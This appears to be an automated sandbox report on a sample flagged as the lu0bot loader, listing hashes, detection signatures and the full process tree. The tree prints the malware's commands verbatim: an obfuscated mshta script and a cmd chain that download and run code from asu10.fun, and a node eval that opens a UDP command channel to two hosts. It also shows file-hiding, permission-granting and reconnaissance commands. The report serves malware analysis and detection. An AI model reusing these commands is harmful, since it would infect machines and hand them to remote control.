Analysis
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max time kernel
149s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
19-08-2021 20:12
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210819-215421.exe
Resource
win7v20210408
General
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Target
usfive_20210819-215421.exe
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Size
2KB
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MD5
3e06325ec38f23fd8f26216641963d44
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SHA1
ebbc18e69b89136ca4ea7cbd2bcd801aa4fbfb73
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SHA256
4c31eccb460bef397e6100e1ecd85c3a2b823b893a9a9add4bb83fde8f9b122b
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SHA512
f2e6fbcfca6733b9b7aac9f5bd3c41899dd1a6b3a1ee9caff1bc3274c307fc84565e74b88af87e107507ba813e2994d943fca8b2cdee15348567fa0720e238f2
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 8 1112 mshta.exe 9 2512 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 3852 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 1532 ipconfig.exe 4080 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\eb0db000a575e76b:ads node.exe File created C:\ProgramData\DNTException\node.exe:36996f0ba04e0c3bb5357d64f76a3dc0 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 3852 node.exe 3852 node.exe 3852 node.exe 3852 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 3824 tasklist.exe Token: SeIncreaseQuotaPrivilege 1432 wmic.exe Token: SeSecurityPrivilege 1432 wmic.exe Token: SeTakeOwnershipPrivilege 1432 wmic.exe Token: SeLoadDriverPrivilege 1432 wmic.exe Token: SeSystemProfilePrivilege 1432 wmic.exe Token: SeSystemtimePrivilege 1432 wmic.exe Token: SeProfSingleProcessPrivilege 1432 wmic.exe Token: SeIncBasePriorityPrivilege 1432 wmic.exe Token: SeCreatePagefilePrivilege 1432 wmic.exe Token: SeBackupPrivilege 1432 wmic.exe Token: SeRestorePrivilege 1432 wmic.exe Token: SeShutdownPrivilege 1432 wmic.exe Token: SeDebugPrivilege 1432 wmic.exe Token: SeSystemEnvironmentPrivilege 1432 wmic.exe Token: SeRemoteShutdownPrivilege 1432 wmic.exe Token: SeUndockPrivilege 1432 wmic.exe Token: SeManageVolumePrivilege 1432 wmic.exe Token: 33 1432 wmic.exe Token: 34 1432 wmic.exe Token: 35 1432 wmic.exe Token: 36 1432 wmic.exe Token: SeIncreaseQuotaPrivilege 1432 wmic.exe Token: SeSecurityPrivilege 1432 wmic.exe Token: SeTakeOwnershipPrivilege 1432 wmic.exe Token: SeLoadDriverPrivilege 1432 wmic.exe Token: SeSystemProfilePrivilege 1432 wmic.exe Token: SeSystemtimePrivilege 1432 wmic.exe Token: SeProfSingleProcessPrivilege 1432 wmic.exe Token: SeIncBasePriorityPrivilege 1432 wmic.exe Token: SeCreatePagefilePrivilege 1432 wmic.exe Token: SeBackupPrivilege 1432 wmic.exe Token: SeRestorePrivilege 1432 wmic.exe Token: SeShutdownPrivilege 1432 wmic.exe Token: SeDebugPrivilege 1432 wmic.exe Token: SeSystemEnvironmentPrivilege 1432 wmic.exe Token: SeRemoteShutdownPrivilege 1432 wmic.exe Token: SeUndockPrivilege 1432 wmic.exe Token: SeManageVolumePrivilege 1432 wmic.exe Token: 33 1432 wmic.exe Token: 34 1432 wmic.exe Token: 35 1432 wmic.exe Token: 36 1432 wmic.exe Token: SeDebugPrivilege 4080 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
usfive_20210819-215421.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 1972 wrote to memory of 1112 1972 usfive_20210819-215421.exe mshta.exe PID 1972 wrote to memory of 1112 1972 usfive_20210819-215421.exe mshta.exe PID 1972 wrote to memory of 1112 1972 usfive_20210819-215421.exe mshta.exe PID 1112 wrote to memory of 2728 1112 mshta.exe cmd.exe PID 1112 wrote to memory of 2728 1112 mshta.exe cmd.exe PID 1112 wrote to memory of 2728 1112 mshta.exe cmd.exe PID 2728 wrote to memory of 2512 2728 cmd.exe cscript.exe PID 2728 wrote to memory of 2512 2728 cmd.exe cscript.exe PID 2728 wrote to memory of 2512 2728 cmd.exe cscript.exe PID 2728 wrote to memory of 1432 2728 cmd.exe expand.exe PID 2728 wrote to memory of 1432 2728 cmd.exe expand.exe PID 2728 wrote to memory of 1432 2728 cmd.exe expand.exe PID 2728 wrote to memory of 2356 2728 cmd.exe cscript.exe PID 2728 wrote to memory of 2356 2728 cmd.exe cscript.exe PID 2728 wrote to memory of 2356 2728 cmd.exe cscript.exe PID 2356 wrote to memory of 3852 2356 cscript.exe node.exe PID 2356 wrote to memory of 3852 2356 cscript.exe node.exe PID 2356 wrote to memory of 3852 2356 cscript.exe node.exe PID 3852 wrote to memory of 1444 3852 node.exe cmd.exe PID 3852 wrote to memory of 1444 3852 node.exe cmd.exe PID 3852 wrote to memory of 1444 3852 node.exe cmd.exe PID 3852 wrote to memory of 1512 3852 node.exe cacls.exe PID 3852 wrote to memory of 1512 3852 node.exe cacls.exe PID 3852 wrote to memory of 1512 3852 node.exe cacls.exe PID 3852 wrote to memory of 1624 3852 node.exe icacls.exe PID 3852 wrote to memory of 1624 3852 node.exe icacls.exe PID 3852 wrote to memory of 1624 3852 node.exe icacls.exe PID 3852 wrote to memory of 2712 3852 node.exe attrib.exe PID 3852 wrote to memory of 2712 3852 node.exe attrib.exe PID 3852 wrote to memory of 2712 3852 node.exe attrib.exe PID 3852 wrote to memory of 2316 3852 node.exe attrib.exe PID 3852 wrote to memory of 2316 3852 node.exe attrib.exe PID 3852 wrote to memory of 2316 3852 node.exe attrib.exe PID 3852 wrote to memory of 3824 3852 node.exe tasklist.exe PID 3852 wrote to memory of 3824 3852 node.exe tasklist.exe PID 3852 wrote to memory of 3824 3852 node.exe tasklist.exe PID 3852 wrote to memory of 1432 3852 node.exe wmic.exe PID 3852 wrote to memory of 1432 3852 node.exe wmic.exe PID 3852 wrote to memory of 1432 3852 node.exe wmic.exe PID 3852 wrote to memory of 1532 3852 node.exe ipconfig.exe PID 3852 wrote to memory of 1532 3852 node.exe ipconfig.exe PID 3852 wrote to memory of 1532 3852 node.exe ipconfig.exe PID 3852 wrote to memory of 4004 3852 node.exe route.exe PID 3852 wrote to memory of 4004 3852 node.exe route.exe PID 3852 wrote to memory of 4004 3852 node.exe route.exe PID 3852 wrote to memory of 4080 3852 node.exe netstat.exe PID 3852 wrote to memory of 4080 3852 node.exe netstat.exe PID 3852 wrote to memory of 4080 3852 node.exe netstat.exe PID 3852 wrote to memory of 3536 3852 node.exe systeminfo.exe PID 3852 wrote to memory of 3536 3852 node.exe systeminfo.exe PID 3852 wrote to memory of 3536 3852 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 2712 attrib.exe 2316 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210819-215421.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();29;y=unescape('%320%35%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%322%30').split('~');43;try{x='WinHttp';190;x=new ActiveXObject(x+'.'+x+'Request.5.1');163;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);170;x.send();87;y='ipt.S';130;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};246;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1629403940194.txt & cscript /nologo /e:jscript get1629403940194.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F22f8d5923%26b%3D8be2a8e2" node.cab & expand node.cab node.exe & del get1629403940194.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1629403940194.txt & cscript /nologo /e:jscript get1629403940194.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1629403940194.txt3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629403940194.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F22f8d5923%26b%3D8be2a8e2" node.cab4⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629403940194.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%272f8d5923%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\DNTException\get1629403940194.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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C:\ProgramData\DNTException\get1629403940194.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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memory/1112-114-0x0000000000000000-mapping.dmp
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memory/1432-137-0x0000000000000000-mapping.dmp
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memory/1432-118-0x0000000000000000-mapping.dmp
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memory/1444-131-0x0000000000000000-mapping.dmp
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memory/1512-132-0x0000000000000000-mapping.dmp
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memory/1532-138-0x0000000000000000-mapping.dmp
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memory/1624-133-0x0000000000000000-mapping.dmp
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memory/2316-135-0x0000000000000000-mapping.dmp
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memory/2356-120-0x0000000000000000-mapping.dmp
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memory/2512-116-0x0000000000000000-mapping.dmp
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memory/2712-134-0x0000000000000000-mapping.dmp
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memory/2728-115-0x0000000000000000-mapping.dmp
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memory/3536-141-0x0000000000000000-mapping.dmp
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memory/3824-136-0x0000000000000000-mapping.dmp
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memory/3852-130-0x0000000027100000-0x0000000027101000-memory.dmpFilesize
4KB
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memory/3852-123-0x0000000000000000-mapping.dmp
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memory/3852-127-0x000000003D800000-0x000000003D801000-memory.dmpFilesize
4KB
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memory/3852-125-0x000000003C100000-0x000000003C101000-memory.dmpFilesize
4KB
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memory/3852-126-0x000000000DF00000-0x000000000DF01000-memory.dmpFilesize
4KB
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memory/3852-129-0x000000000C400000-0x000000000C401000-memory.dmpFilesize
4KB
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memory/3852-128-0x0000000005B00000-0x0000000005B01000-memory.dmpFilesize
4KB
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memory/4004-139-0x0000000000000000-mapping.dmp
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memory/4080-140-0x0000000000000000-mapping.dmp